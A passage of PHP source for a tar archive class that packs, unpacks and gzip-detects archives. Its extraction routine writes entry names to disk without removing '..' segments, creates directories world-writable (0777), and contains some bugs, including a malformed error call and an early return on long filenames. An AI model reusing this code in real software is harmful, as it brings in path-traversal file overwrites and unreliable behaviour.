				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>